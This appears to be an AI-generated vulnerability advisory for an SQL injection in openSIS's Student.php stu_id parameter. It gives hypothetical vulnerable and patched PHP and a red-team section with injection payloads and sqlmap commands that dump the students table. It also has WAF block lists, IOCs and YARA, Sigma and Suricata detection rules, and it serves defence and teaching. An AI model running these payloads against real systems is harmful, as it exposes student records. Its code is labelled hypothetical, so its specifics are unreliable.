CVE-2025-22924

Executive Summary

CVE-2025-22924 is a critical SQL injection vulnerability discovered in the openSIS web-based Student Information System (SIS) developed by OS4ED. The flaw resides in the /modules/students/Student.php script, specifically within the handling of the stu_id parameter. An unauthenticated attacker can inject arbitrary SQL commands, leading to potential data exfiltration, authentication bypass, and full database compromise. The vulnerability affects versions 7.0 through 9.1. As of this report, no official patch has been released by the vendor, leaving all deployments in this version range exposed. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in the openSIS PHP application. However, organizations using openSIS should treat this as a critical supply chain risk due to the lack of a vendor patch and the potential for data breaches involving student PII.

CVSS Breakdown & Threat Level

While a CVSS vector was not provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access is possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the stu_id parameter. The Student.php script likely constructs a SQL query by directly concatenating user-supplied input from the stu_id parameter without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Hypothetical):

$id = $_GET['stu_id'];
$query = "SELECT * FROM students WHERE id = " . $id;
$result = mysqli_query($conn, $query);

An attacker can manipulate the stu_id parameter to break out of the intended SQL syntax. For example, a simple injection like:

1 OR 1=1

Would result in the query:

SELECT * FROM students WHERE id = 1 OR 1=1

This would return all rows from the students table.

More sophisticated injections can be used to:

• Extract data from other tables (e.g., users, grades, attendance).
• Bypass authentication by manipulating login queries.
• Execute UNION queries to retrieve arbitrary data.
• Use INSERT, UPDATE, or DELETE statements to modify or destroy data.
• Potentially achieve remote code execution via INTO OUTFILE if the database user has file write privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

// /modules/students/Student.php
$stu_id = $_GET['stu_id'];
$sql = "SELECT * FROM students WHERE id = $stu_id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// /modules/students/Student.php
$stu_id = intval($_GET['stu_id']); // Cast to integer
$sql = "SELECT * FROM students WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $stu_id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched code uses:

1. Input Validation: intval() ensures the input is an integer, completely neutralizing SQL injection.
2. Parameterized Queries (Prepared Statements): The query uses a placeholder (?) and binds the parameter separately, preventing the input from being interpreted as SQL code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: Install openSIS v9.1 (or any vulnerable version) on a local server (e.g., using XAMPP or Docker).
2. Attacker: Use Kali Linux with Burp Suite and sqlmap.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/modules/students/Student.php?stu_id=1
   

2. Manual SQL Injection Test:

   • Inject a single quote: stu_id=1' -> Look for a database error.
   • Boolean-based test: stu_id=1 AND 1=1 (valid) vs stu_id=1 AND 1=2 (invalid).
   • Time-based test: stu_id=1; WAITFOR DELAY '0:0:5'-- (MSSQL) or stu_id=1 AND SLEEP(5) (MySQL).

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/modules/students/Student.php?stu_id=1" --batch --dbs
   

   This will enumerate all databases.

   sqlmap -u "http://target.com/modules/students/Student.php?stu_id=1" --batch -D openSIS_db --tables
   

   This will list tables in the openSIS_db database.

   sqlmap -u "http://target.com/modules/students/Student.php?stu_id=1" --batch -D openSIS_db -T students --dump
   

   This will dump all data from the students table.

4. Authentication Bypass: If the login form also uses the same vulnerable code, an attacker could bypass authentication by injecting into the username or password field.

Blue Team (Defensive)

Detection & Response:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL keywords (OR, AND, UNION, SELECT, SLEEP, WAITFOR) in the stu_id parameter.
   • Block requests with special characters like ', ", ;, --, # in the stu_id parameter.

2. Input Validation:

   • Ensure the stu_id parameter is strictly validated as an integer on the server side.

3. Database Monitoring:

   • Monitor for anomalous SQL queries, especially those with UNION, OR 1=1, or time-based functions.
   • Set up alerts for multiple failed login attempts or unusual data access patterns.

4. Incident Response:

   • If exploitation is detected, immediately isolate the affected server.
   • Review database logs for unauthorized data access or modification.
   • Reset all user credentials and review user accounts for unauthorized changes.
   • Conduct a forensic analysis of web server logs to identify the attacker's IP and actions.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /modules/students/Student.php with a stu_id parameter containing SQL syntax (e.g., ', OR, UNION, SLEEP).
  • Unusually long stu_id parameter values.
  • Multiple requests from the same IP address with varying SQL injection payloads.

• Host IOCs:

  • Web server error logs containing SQL syntax errors (e.g., "You have an error in your SQL syntax").
  • Database logs showing unexpected queries, especially those with UNION SELECT or INTO OUTFILE.
  • New files created in the web root (potential webshells).

• File IOCs:

  • Suspicious PHP files in the /modules/students/ directory or other writable directories.
  • Modified .htaccess files.

Detection Engineering

YARA Rule

rule CVE_2025_22924_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-22924 in openSIS"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22924"
    strings:
        $sqli_pattern1 = /stu_id=.*['\"]/ nocase
        $sqli_pattern2 = /stu_id=.*OR.*1=1/ nocase
        $sqli_pattern3 = /stu_id=.*UNION.*SELECT/ nocase
        $sqli_pattern4 = /stu_id=.*SLEEP\(/ nocase
        $sqli_pattern5 = /stu_id=.*WAITFOR.*DELAY/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22924 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the stu_id parameter in openSIS Student.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'stu_id='
        cs-uri-query|contains|all:
            - 'OR'
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate use of the word "OR" in a student ID (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22924 SQL Injection Attempt"; flow:to_server,established; content:"/modules/students/Student.php"; http_uri; content:"stu_id="; http_uri; pcre:"/stu_id=.*['\"]|OR.*1=1|UNION.*SELECT|SLEEP\(|WAITFOR.*DELAY/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions (No Patch Available):

1. Input Validation: Manually patch the vulnerable code by adding input validation and using parameterized queries as shown in the "Patched Code" section. This is the most effective mitigation.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection attempts targeting the stu_id parameter.
3. Disable Vulnerable Functionality: If patching is not immediately possible, consider disabling the /modules/students/Student.php endpoint or restricting access to it via .htaccess or firewall rules.
4. Database Hardening:
   • Ensure the database user used by openSIS has the least privileges necessary (e.g., no FILE, CREATE, DROP, ALTER privileges).
   • Disable LOAD DATA LOCAL INFILE and INTO OUTFILE if not needed.
5. Monitor and Audit: Increase logging and monitoring for the vulnerable endpoint and database queries.

Long-Term Actions:

1. Vendor Patch: Monitor the OS4ED website and GitHub repository for an official security patch. Apply it as soon as it becomes available.
2. Code Review: Conduct a thorough security code review of the entire openSIS application to identify and fix other potential vulnerabilities.
3. Upgrade: Consider upgrading to a newer, patched version of openSIS if one becomes available.
4. Security Training: Provide secure coding training to developers, emphasizing the importance of input validation and parameterized queries.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.